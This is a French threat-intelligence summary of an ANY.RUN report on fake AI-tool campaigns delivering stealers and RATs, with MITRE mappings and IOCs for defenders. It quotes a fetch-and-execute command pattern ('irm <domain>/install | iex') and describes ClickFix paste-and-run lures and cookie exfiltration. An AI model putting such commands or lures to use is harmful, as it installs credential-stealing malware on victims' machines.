🔍 Contexte

Publié le 14 octobre 2026 par ANY.RUN sur leur blog de cybersécurité, cet article présente une analyse détaillée de campagnes de faux outils IA observées entre le 15 avril et le 5 octobre 2026, couvrant 1 258 analyses publiques en sandbox liées à ces activités.

🎯 Nature des campagnes

Ces campagnes usurpent les marques d’IA les plus connues pour tromper les employés :

  • Claude (48%, 601 analyses) et ChatGPT/Codex (33%, 418 analyses) représentent 81% des cas
  • Autres marques ciblées : GitHub Copilot, Gemini, Ollama, OpenClaw, Perplexity, Manus

Les États-Unis se classent 2e source mondiale de soumissions (16%, 69/422 enregistrements) et 1er dans les campagnes « Download Claude » et ChatGPT.

⚙️ Cinq patterns d’attaque identifiés

1. InstallFix : Pages imitant la documentation CLI (Claude Code, Copilot CLI, Codex, Ollama, OpenClaw) remplaçant le domaine officiel dans la commande d’installation par celui de l’attaquant. La commande irm <domain>/install | iex déclenche un stealer. 341 analyses recensées.

2. Fake « Download Claude » avec ClickFix : Clone de la page de téléchargement Claude hébergé sur Webflow, GitLab Pages, Cloudflare Pages. Le bouton copie une commande dans le presse-papiers et guide l’utilisateur vers Win+R → PowerShell → Coller. mshta.exe récupère un HTA obfusqué. 220 analyses, dont 37 via Google Ads. Lien avec HijackLoader détecté.

3. Leurres sur claude.ai et chatgpt.com : Artefacts publiés directement sur les plateformes officielles (conversations partagées, GPT personnalisés) redirigeant vers des domaines de backup ou des commandes curl malveillantes. Payload identifié : MacSync Stealer (8/12 analyses). 320 analyses au total.

4. Installeur trojanisé avec vol de session : claude-ai[.]us distribue Claude_x64-setup.exe depuis GitHub. Un stager crée une tâche planifiée mseupdate lançant Edge en mode headless (port 9222, user-agent « Google Update 4.3 ») pour exfiltrer cookies, extensions et clés vers nucleflowers[.]xyz.

5. Fausses invitations publicitaires IA (BiTB) : Pages invitant à « connecter Google Ads à Claude/Gemini/Perplexity » déclenchent un Browser-in-the-Browser imitant la connexion Google. Backend sur Railway/Render avec API standardisée (/api/create/user, /api/send/ip, /api/checkBan/, /api/checkDone/). 57 analyses entre juillet et septembre 2026.

🦠 Malwares et outils identifiés

  • Aura Stealer (posant en claude-code.exe, C2 : sys-tools[.]cfd)
  • MacSync Stealer (macOS, via /curl/<64 hex chars>)
  • AsyncRAT (fichiers nommés Copilot, 8 analyses)
  • Quasar RAT (grok.exe)
  • HijackLoader (via claudedev[.]net)

🏭 Secteurs et rôles exposés

  • Développeurs : faux CLI installers
  • Équipes marketing : fausses invitations publicitaires
  • Tous employés : fausses apps desktop et chats IA
  • Secteurs représentés : Technologie, Télécommunications, Éducation, Conseil, Industrie, Santé, Gouvernement, Finance

📋 Type d’article

Article de publication de recherche produit par ANY.RUN, visant à documenter des campagnes actives, fournir des IOCs exploitables et des mappings MITRE ATT&CK pour les équipes SOC.

🧠 TTPs et IOCs détectés

TTP

  • T1583.008 — Acquire Infrastructure: Malvertising (Resource Development)
  • T1608.006 — Stage Capabilities: SEO Poisoning (Resource Development)
  • T1204.004 — User Execution: Malicious Copy and Paste (Execution)
  • T1204.002 — User Execution: Malicious File (Execution)
  • T1059.001 — Command and Scripting Interpreter: PowerShell (Execution)
  • T1059.004 — Command and Scripting Interpreter: Unix Shell (Execution)
  • T1053.005 — Scheduled Task/Job: Scheduled Task (Persistence)
  • T1218.005 — System Binary Proxy Execution: Mshta (Defense Evasion)
  • T1218.007 — System Binary Proxy Execution: Msiexec (Defense Evasion)
  • T1539 — Steal Web Session Cookie (Credential Access)
  • T1555.003 — Credentials from Password Stores: Credentials from Web Browsers (Credential Access)

IOC

⚠️ À propos de ces IOC — ils sont extraits automatiquement de l’article original le 14 octobre 2026 et n’ont pas fait l’objet d’une vérification externe. Un indicateur peut avoir été réattribué depuis : une IP de C2 peut redevenir un service légitime, un domaine sinkholé peut changer de propriétaire. Aucune garantie d’exactitude ni d’actualité — contrôlez leur validité avant tout usage opérationnel, en particulier avant de les injecter dans une blocklist ou un SIEM.

Malware / Outils

  • Aura Stealer (stealer)
  • MacSync Stealer (stealer)
  • AsyncRAT (rat)
  • Quasar RAT (rat)
  • HijackLoader (loader)

🟢 Indice de vérification factuelle : 90/100 (haute)

  • ✅ any.run — source reconnue (Rösti community) (20pts)
  • ✅ 35077 chars — texte complet (fulltext extrait) (15pts)
  • ✅ 48 IOCs dont des hashes (15pts)
  • ✅ 5/6 IOCs confirmés (MalwareBazaar, ThreatFox, URLhaus, VirusTotal) (15pts)
  • ✅ 11 TTPs MITRE identifiées (15pts)
  • ✅ date extraite du HTML source (10pts)
  • ⬜ aucun acteur de menace nommé (0pts)
  • ⬜ pas de CVE à vérifier (0pts)

IOCs confirmés externellement :

  • 882b1aa5432509df… (sha256) → VT (9/76 détections)
  • e86f7ba0413a3a4b… (sha256) → VT (44/76 détections)
  • claudecode.us.com (domain) → VT (8/92 détections)
  • claubecode.co.com (domain) → VT (13/92 détections) + ThreatFox (IClickFix)
  • openclow.co.com (domain) → VT (10/92 détections) + ThreatFox (IClickFix)

🔗 Source originale : https://any.run/cybersecurity-blog/fake-ai-tools-us-companies/